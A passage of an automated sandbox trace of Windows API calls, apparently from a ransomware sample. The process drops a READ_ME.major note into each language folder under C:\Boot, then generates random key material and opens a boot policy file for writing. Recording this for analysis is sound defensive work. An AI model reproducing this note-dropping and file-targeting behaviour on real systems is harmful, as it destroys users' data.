hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.886] GetLastError () returned 0x0 [0121.886] SetLastError (dwErrCode=0x0) [0121.886] GetLastError () returned 0x0 [0121.886] SetLastError (dwErrCode=0x0) [0121.886] GetLastError () returned 0x0 [0121.886] SetLastError (dwErrCode=0x0) [0121.886] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e228 | out: hHeap=0x570000) returned 1 [0121.886] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2a0 | out: hHeap=0x570000) returned 1 [0121.886] GetLastError () returned 0x0 [0121.886] SetLastError (dwErrCode=0x0) [0121.886] GetLastError () returned 0x0 [0121.886] SetLastError (dwErrCode=0x0) [0121.886] GetLastError () returned 0x0 [0121.886] SetLastError (dwErrCode=0x0) [0121.886] CreateFileW (lpFileName="\\Boot\\Resources\\READ_ME.major" (normalized: "c:\\boot\\resources\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.888] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.888] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.889] CloseHandle (hObject=0x458) returned 1 [0121.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0121.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1d0 | out: hHeap=0x570000) returned 1 [0121.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0e8 | out: hHeap=0x570000) returned 1 [0121.889] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0121.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.889] GetLastError () returned 0x0 [0121.889] SetLastError (dwErrCode=0x0) [0121.889] GetLastError () returned 0x0 [0121.889] SetLastError (dwErrCode=0x0) [0121.889] GetLastError () returned 0x0 [0121.889] SetLastError (dwErrCode=0x0) [0121.889] GetLastError () returned 0x0 [0121.889] SetLastError (dwErrCode=0x0) [0121.889] GetLastError () returned 0x0 [0121.889] SetLastError (dwErrCode=0x0) [0121.889] GetLastError () returned 0x0 [0121.890] SetLastError (dwErrCode=0x0) [0121.890] CreateFileW (lpFileName="\\Boot\\ro-RO\\READ_ME.major" (normalized: "c:\\boot\\ro-ro\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.890] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.890] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.891] CloseHandle (hObject=0x458) returned 1 [0121.892] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.892] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0121.892] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d210 | out: hHeap=0x570000) returned 1 [0121.892] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e1b0 | out: hHeap=0x570000) returned 1 [0121.892] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0121.892] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.892] GetLastError () returned 0x0 [0121.892] SetLastError (dwErrCode=0x0) [0121.892] GetLastError () returned 0x0 [0121.892] SetLastError (dwErrCode=0x0) [0121.892] GetLastError () returned 0x0 [0121.892] SetLastError (dwErrCode=0x0) [0121.892] GetLastError () returned 0x0 [0121.892] SetLastError (dwErrCode=0x0) [0121.892] GetLastError () returned 0x0 [0121.892] SetLastError (dwErrCode=0x0) [0121.892] GetLastError () returned 0x0 [0121.892] SetLastError (dwErrCode=0x0) [0121.892] CreateFileW (lpFileName="\\Boot\\ru-RU\\READ_ME.major" (normalized: "c:\\boot\\ru-ru\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.893] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.893] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.894] CloseHandle (hObject=0x458) returned 1 [0121.894] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.894] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0121.894] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0121.894] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2f0 | out: hHeap=0x570000) returned 1 [0121.894] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0121.894] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.894] GetLastError () returned 0x0 [0121.894] SetLastError (dwErrCode=0x0) [0121.895] GetLastError () returned 0x0 [0121.895] SetLastError (dwErrCode=0x0) [0121.895] GetLastError () returned 0x0 [0121.895] SetLastError (dwErrCode=0x0) [0121.895] GetLastError () returned 0x0 [0121.895] SetLastError (dwErrCode=0x0) [0121.895] GetLastError () returned 0x0 [0121.895] SetLastError (dwErrCode=0x0) [0121.895] GetLastError () returned 0x0 [0121.895] SetLastError (dwErrCode=0x0) [0121.895] CreateFileW (lpFileName="\\Boot\\sk-SK\\READ_ME.major" (normalized: "c:\\boot\\sk-sk\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.895] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.895] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.896] CloseHandle (hObject=0x458) returned 1 [0121.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0121.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0121.896] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7a0 | out: hHeap=0x570000) returned 1 [0121.897] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0121.897] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.897] GetLastError () returned 0x0 [0121.897] SetLastError (dwErrCode=0x0) [0121.897] GetLastError () returned 0x0 [0121.897] SetLastError (dwErrCode=0x0) [0121.897] GetLastError () returned 0x0 [0121.897] SetLastError (dwErrCode=0x0) [0121.897] GetLastError () returned 0x0 [0121.897] SetLastError (dwErrCode=0x0) [0121.897] GetLastError () returned 0x0 [0121.897] SetLastError (dwErrCode=0x0) [0121.897] GetLastError () returned 0x0 [0121.897] SetLastError (dwErrCode=0x0) [0121.897] CreateFileW (lpFileName="\\Boot\\sl-SI\\READ_ME.major" (normalized: "c:\\boot\\sl-si\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.898] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.898] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.899] CloseHandle (hObject=0x458) returned 1 [0121.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2d0 | out: hHeap=0x570000) returned 1 [0121.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0121.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e6d8 | out: hHeap=0x570000) returned 1 [0121.900] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0121.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.900] GetLastError () returned 0x0 [0121.900] SetLastError (dwErrCode=0x0) [0121.900] GetLastError () returned 0x0 [0121.900] SetLastError (dwErrCode=0x0) [0121.900] GetLastError () returned 0x0 [0121.900] SetLastError (dwErrCode=0x0) [0121.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e638 | out: hHeap=0x570000) returned 1 [0121.900] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7a0 | out: hHeap=0x570000) returned 1 [0121.900] GetLastError () returned 0x0 [0121.900] SetLastError (dwErrCode=0x0) [0121.900] GetLastError () returned 0x0 [0121.900] SetLastError (dwErrCode=0x0) [0121.900] GetLastError () returned 0x0 [0121.901] SetLastError (dwErrCode=0x0) [0121.901] CreateFileW (lpFileName="\\Boot\\sr-Latn-CS\\READ_ME.major" (normalized: "c:\\boot\\sr-latn-cs\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.911] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.912] CloseHandle (hObject=0x458) returned 1 [0121.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d270 | out: hHeap=0x570000) returned 1 [0121.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0121.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecf0 | out: hHeap=0x570000) returned 1 [0121.912] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0121.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.912] GetLastError () returned 0x0 [0121.912] SetLastError (dwErrCode=0x0) [0121.913] GetLastError () returned 0x0 [0121.913] SetLastError (dwErrCode=0x0) [0121.913] GetLastError () returned 0x0 [0121.913] SetLastError (dwErrCode=0x0) [0121.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5e8 | out: hHeap=0x570000) returned 1 [0121.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e840 | out: hHeap=0x570000) returned 1 [0121.913] GetLastError () returned 0x0 [0121.913] SetLastError (dwErrCode=0x0) [0121.913] GetLastError () returned 0x0 [0121.913] SetLastError (dwErrCode=0x0) [0121.913] GetLastError () returned 0x0 [0121.913] SetLastError (dwErrCode=0x0) [0121.913] CreateFileW (lpFileName="\\Boot\\sr-Latn-RS\\READ_ME.major" (normalized: "c:\\boot\\sr-latn-rs\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.914] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.915] CloseHandle (hObject=0x458) returned 1 [0121.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0121.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0121.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0121.915] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0121.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.915] GetLastError () returned 0x0 [0121.915] SetLastError (dwErrCode=0x0) [0121.915] GetLastError () returned 0x0 [0121.915] SetLastError (dwErrCode=0x0) [0121.916] GetLastError () returned 0x0 [0121.916] SetLastError (dwErrCode=0x0) [0121.916] GetLastError () returned 0x0 [0121.916] SetLastError (dwErrCode=0x0) [0121.916] GetLastError () returned 0x0 [0121.916] SetLastError (dwErrCode=0x0) [0121.916] GetLastError () returned 0x0 [0121.916] SetLastError (dwErrCode=0x0) [0121.916] CreateFileW (lpFileName="\\Boot\\sv-SE\\READ_ME.major" (normalized: "c:\\boot\\sv-se\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.917] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.918] CloseHandle (hObject=0x458) returned 1 [0121.918] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0121.918] SetLastError (dwErrCode=0x0) [0121.918] GetLastError () returned 0x0 [0121.918] SetLastError (dwErrCode=0x0) [0121.918] GetLastError () returned 0x0 [0121.918] SetLastError (dwErrCode=0x0) [0121.918] SetLastError (dwErrCode=0x0) [0121.918] GetLastError () returned 0x0 [0121.918] SetLastError (dwErrCode=0x0) [0121.918] GetLastError () returned 0x0 [0121.918] SetLastError (dwErrCode=0x0) [0121.918] CreateFileW (lpFileName="\\Boot\\tr-TR\\READ_ME.major" (normalized: "c:\\boot\\tr-tr\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.919] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.920] CloseHandle (hObject=0x458) returned 1 [0121.920] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0121.920] CreateFileW (lpFileName="\\Boot\\uk-UA\\READ_ME.major" (normalized: "c:\\boot\\uk-ua\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.921] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.922] CloseHandle (hObject=0x458) returned 1 [0121.922] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0121.922] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0121.923] CreateFileW (lpFileName="\\Boot\\zh-CN\\READ_ME.major" (normalized: "c:\\boot\\zh-cn\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.923] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.924] CloseHandle (hObject=0x458) returned 1 [0121.924] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0121.924] CreateFileW (lpFileName="\\Boot\\zh-HK\\READ_ME.major" (normalized: "c:\\boot\\zh-hk\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.925] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.926] CloseHandle (hObject=0x458) returned 1 [0121.926] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0121.926] CreateFileW (lpFileName="\\Boot\\zh-TW\\READ_ME.major" (normalized: "c:\\boot\\zh-tw\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.927] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.928] CloseHandle (hObject=0x458) returned 1 [0121.928] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0121.928] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0121.928] SetFileAttributesW (lpFileName="\\Boot\\updaterevokesipolicy.p7b", dwFileAttributes=0x80) returned 0 [0121.938] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7e70 [0121.938] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0121.938] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x570000) returned 1 [0121.938] CreateFileW (lpFileName="\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.938] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0121.938] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7f0 | out: hHeap=0x570000) returned 1 [0121.938] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: 